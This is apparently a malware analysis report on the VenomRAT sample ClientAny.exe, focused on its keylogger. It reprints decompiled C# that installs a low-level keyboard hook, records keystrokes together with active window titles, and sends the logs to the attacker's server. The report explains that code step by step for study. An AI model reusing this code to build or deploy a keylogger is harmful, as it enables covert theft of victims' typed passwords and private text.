← Reports

Remote Access Trojan

VenomRAT - ClientAny.exe

Author
Moise Medici
Updated
15 Nov 2025 · Completed
Difficulty
Easy
Platform
Windows
Capabilities
Persistence MechanismsCommand Execution via Powershell Cmd BashData-Exfiltration
Tags
C#VenomRAT

Client.Keylogger

The Keylogger class has a multitude of different methods. They can be analyzed one by one.

Client.Keylogger
public static void SendLog()
{
try
{
string text = string.Empty;
if (File.Exists(KeylogParams.OnlineSaveFileName))
{
text = File.ReadAllText(KeylogParams.OnlineSaveFileName);
}
if (ClientSocket.IsConnected && !string.IsNullOrEmpty(text))
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "keyLogger";
msgPack.ForcePathObject("hwid").AsString = Settings.Hw_id;
msgPack.ForcePathObject("log").AsString = text;
ClientSocket.Send(msgPack.Encode2Bytes());
File.Delete(KeylogParams.OnlineSaveFileName);
}
}
catch
{
}
}

The first one, the SendLog method, uses the KeylogParams.OnlineSaveFileName, which is defined in the KeylogParams class as the DataLogs_keylog_online.txt file.

Params.KeylogParams
public static string OnlineSaveFileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyData", "DataLogs_keylog_online.txt");

If the file exists and is not empty, the whole content is read and sent via the ClientSocket object defined in Client.Connection, which will be looked at next. Once the data is sent, the file is deleted. This is sent in combination with the Hw_id value of 5DEACD0D3625ECDCA44B and the string KeyLogger, probably so that the receiving server can identify the traffic type and client. Remember that the Hw_id value is determined at run time and it will probably be different on another system.

Next, the Run method:

Client.Keylogger
public static void Run()
{
new Thread(delegate
{
for (;;)
{
Thread.Sleep(Keylogger.Params.interval * 1000);
Keylogger.SendLog();
}
}).Start();
Keylogger._hookID = Keylogger.SetHook(Keylogger._proc);
}

This method executes a new thread that continuously sends logs via the SendLog method and waits a certain sleep interval, then repeats.
Once the thread is started, the method then creates a new hook calling the SetHook method. This method is:

Client.Keylogger
private static IntPtr SetHook(Keylogger.LowLevelKeyboardProc proc)
{
IntPtr intPtr;
using (Process currentProcess = Process.GetCurrentProcess())
{
intPtr = Keylogger.SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U);
}
return intPtr;
}

This seems at first like it is using a method from Keylogger called SetWindowsHookEx, however this is imported from user32.dll at the end of the Keylogger class.

Client.Keylogger
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, Keylogger.LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

What is SetWindowsHookEx? The Microsoft API documentation (see reference 2) defines it as:

Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events.

The second sentence explains the core concept: the sample wants to monitor the system for a certain event.

The API call definition is:

HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);

And it is called within the sample as:

Client.Keylogger
SetWindowsHookEx(Keylogger.WHKEYBOARDLL, proc, Keylogger.GetModuleHandle(currentProcess.ProcessName), 0U)

In detail, the way the sample uses it is:

  • Keylogger.WHKEYBOARDLL: is defined at the end of the file with 13, which, looking at the Parameters section of the Microsoft documentation, is WH_KEYBOARD_LL which means: “Installs a hook procedure that monitors low-level keyboard input events.”
  • proc: is passed from the Run method and is defined at the bottom of the file as a LowLevelKeyboardProc object that uses Keylogger.HookCallback as callback function, a function to call when the hook is triggered
  • Keylogger.GetModuleHandle(currentProcess.ProcessName): the Microsoft documentation defines it as: “A handle to the DLL containing the hook procedure pointed to by the lpfn parameter”. This basically means that it retrieves a handle to the module (the executable or DLL) that contains the hook procedure specified by proc. When setting a Windows hook, it is necessary to tell the system where the callback function (the hook procedure) resides. In this case, the callback is part of the current process, so GetModuleHandle returns a handle to that module.
  • 0U: this is an unsigned (U) 0, which, based on the documentation, means “For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.”

The callback method, HookCallback, is quite a long method but fairly simple.

Client.Keylogger
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
IntPtr intPtr;
try
{
if (nCode >= 0 && wParam == (IntPtr)256)
{
string activeProcessName = Keylogger.GetActiveProcessName();
string activeWindowTitle = Keylogger.GetActiveWindowTitle();
if (!Keylogger.Params.isEnabled || !Keylogger.FilterProcessWindow(activeProcessName, activeWindowTitle))
{
return Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam);
}
int num = Marshal.ReadInt32(lParam);
bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;
bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;
string text = Keylogger.KeyboardLayout((uint)num);
if (flag || flag2)
{
text = text.ToUpper();
}
else
{
text = text.ToLower();
}
Keys keys = (Keys)num;
if (keys >= Keys.F1 && keys <= Keys.F24)
{
string text2 = "[";
Keys keys2 = (Keys)num;
text = text2 + keys2.ToString() + "]";
}
else
{
if (new Keys[]
{
Keys.Escape,
Keys.Back,
Keys.Tab,
Keys.Capital,
Keys.LWin,
Keys.RWin,
Keys.LMenu,
Keys.RMenu,
Keys.LControlKey,
Keys.RControlKey,
Keys.Left,
Keys.Right,
Keys.Up,
Keys.Down,
Keys.Delete,
Keys.Home,
Keys.End
}.Contains(keys))
{
text = "[" + keys.ToString() + "]";
}
if (keys == Keys.Return)
{
text = "[Enter]\r\n";
}
if (keys == Keys.Space)
{
text = " ";
}
}
if (!string.IsNullOrEmpty(text))
{
StringBuilder stringBuilder = new StringBuilder();
if (Keylogger.PrevActiveWindowTitle == activeWindowTitle)
{
stringBuilder.Append(text);
}
else
{
stringBuilder.Append(Environment.NewLine);
stringBuilder.Append(Environment.NewLine);
stringBuilder.Append(string.Concat(new string[]
{
"----- [",
DateTime.Now.ToString("MM-dd HH:mm:ss"),
"] : [",
activeProcessName,
"] [",
activeWindowTitle,
"]"
}));
stringBuilder.Append(Environment.NewLine);
stringBuilder.Append(text);
}
Keylogger.Log(stringBuilder.ToString());
Keylogger.PrevActiveWindowTitle = activeWindowTitle;
}
}
intPtr = Keylogger.CallNextHookEx(Keylogger._hookID, nCode, wParam, lParam);
}
catch
{
intPtr = IntPtr.Zero;
}
return intPtr;
}

The first couple of lines get the name of the program running in the current open window:

Client.Keylogger
string activeProcessName = Keylogger.GetActiveProcessName();
string activeWindowTitle = Keylogger.GetActiveWindowTitle();

If the keylogger is enabled, then the status of caps lock and the shift keys is captured:

Client.Keylogger
bool flag = ((int)Keylogger.GetKeyState(20) & 65535) != 0;
bool flag2 = ((int)Keylogger.GetKeyState(160) & 32768) != 0 || ((int)Keylogger.GetKeyState(161) & 32768) != 0;

This is done via the GetKeyState method (see reference 3) which returns whether the key is pressed or not. The numbers inside are hexadecimal representing the key on the keyboard. In reference 4 all the mappings can be found. Given that 160 is 0xA0 which is the left shift (VK_LSHIFT), while 161 is the right shift and 20 (0x14 in hex) is the caps lock, these lines check whether the character should be uppercase; if one of the keys is pressed it is saved in uppercase:

Client.Keylogger
if (flag || flag2)
{
text = text.ToUpper();
}

The keys pressed are logged via the KeyboardLayout method that will be seen next. The rest of the method is just code to handle keys that are not letters:

  • from line 27 to 32: checks for function keys, and saves them as [F1] for example;
  • from line 35 to 65: checks for special keys like Tab and saves them as [Tab]. The same applies for Enter and Space, which is saved as " ".

Once the text is converted and formatted, it is saved with the following format:

Client.Keylogger
"----- [",
DateTime.Now.ToString("MM-dd HH:mm:ss"),
"] : [",
activeProcessName,
"] [",
activeWindowTitle,
"]"

This final text is saved via the Log method:

Client.Keylogger
Keylogger.Log(stringBuilder.ToString());

The content of Log shows that the sample saves the logs in MyData/DataLogs_keylog_offline.txt first, and then, if there is network connectivity, in MyData/DataLogs_keylog_online.txt.

Client.Keylogger
private static void Log(string log)
{
if (Keylogger.Params.isEnabled)
{
File.AppendAllText(KeylogParams.OfflineSaveFileName, log);
if (ClientSocket.IsConnected)
{
File.AppendAllText(KeylogParams.OnlineSaveFileName, log);
}
}
}

The KeyboardLayout method takes in an integer representing the key pressed, and it returns the string representation of it in Unicode. This is done by translating the key pressed into a “scan code” via MapVirtualKey. The scan code is a unique identifier for each key; more info is in 5. Then the layout of the keyboard is retrieved via GetKeyboardLayout and the scan code is translated to Unicode via ToUnicodeEx.

Client.Keylogger
private static string KeyboardLayout(uint vkCode)
{
try
{
StringBuilder stringBuilder = new StringBuilder();
byte[] array = new byte[256];
if (!Keylogger.GetKeyboardState(array))
{
return "";
}
uint num = Keylogger.MapVirtualKey(vkCode, 0U);
uint num2;
IntPtr keyboardLayout = Keylogger.GetKeyboardLayout(Keylogger.GetWindowThreadProcessId(Keylogger.GetForegroundWindow(), out num2));
Keylogger.ToUnicodeEx(vkCode, num, array, stringBuilder, 5, 0U, keyboardLayout);
return stringBuilder.ToString();
}
catch
{
}
Keys keys = (Keys)vkCode;
return keys.ToString();

There are now two missing parts of the sample:

  1. The connection to the remote server
  2. Other capabilities?